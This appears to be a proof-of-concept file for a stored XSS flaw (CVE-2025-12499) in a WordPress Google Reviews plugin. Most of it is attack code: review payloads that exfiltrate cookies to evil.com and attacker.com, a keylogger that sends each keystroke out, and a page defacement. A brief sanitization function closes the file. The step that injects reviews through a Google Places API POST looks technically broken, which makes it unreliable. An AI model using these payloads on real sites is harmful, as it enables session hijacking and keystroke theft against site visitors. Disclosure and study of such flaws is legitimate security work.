CVE-2025-12499 WordPress Google Reviews插件存储型XSS漏洞

// CVE-2025-12499 PoC - Stored XSS in Google Reviews Plugin // This PoC demonstrates how malicious JavaScript can be injected through Google Reviews // Step 1: Create a Google Review with XSS payload const maliciousReview = { author_name: 'Attacker', rating: 5, text: '<img src=x onerror="fetch(\'https://evil.com/steal?cookie=\'+document.cookie)">', relative_time_description: 'a week ago' }; // Step 2: Inject via Google Places API or plugin configuration // The plugin will store and display this review without sanitization fetch('https://maps.googleapis.com/maps/api/place/details/json', { method: 'POST', body: JSON.stringify({ place_id: 'YOUR_PLACE_ID', reviews: [maliciousReview] }) }); // Step 3: When victims visit the page with the review widget, // the malicious script will execute, exfiltrating cookies to attacker server // Example XSS Payloads: // 1. Cookie Theft: <script>document.location='https://attacker.com/log?c='+document.cookie</script> // 2. Keylogger: <img src=x onerror='document.onkeypress=function(e){fetch("https://attacker.com/k?k="+e.key)}'> // 3. DOM Manipulation: <img src=x onerror='document.body.innerHTML="<h1>Hacked</h1>"'> // Mitigation: Plugin should sanitize all review content before rendering // Example sanitization code: function sanitizeInput(input) { return input .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#x27;') .replace(/\//g, '&#x2F;'); }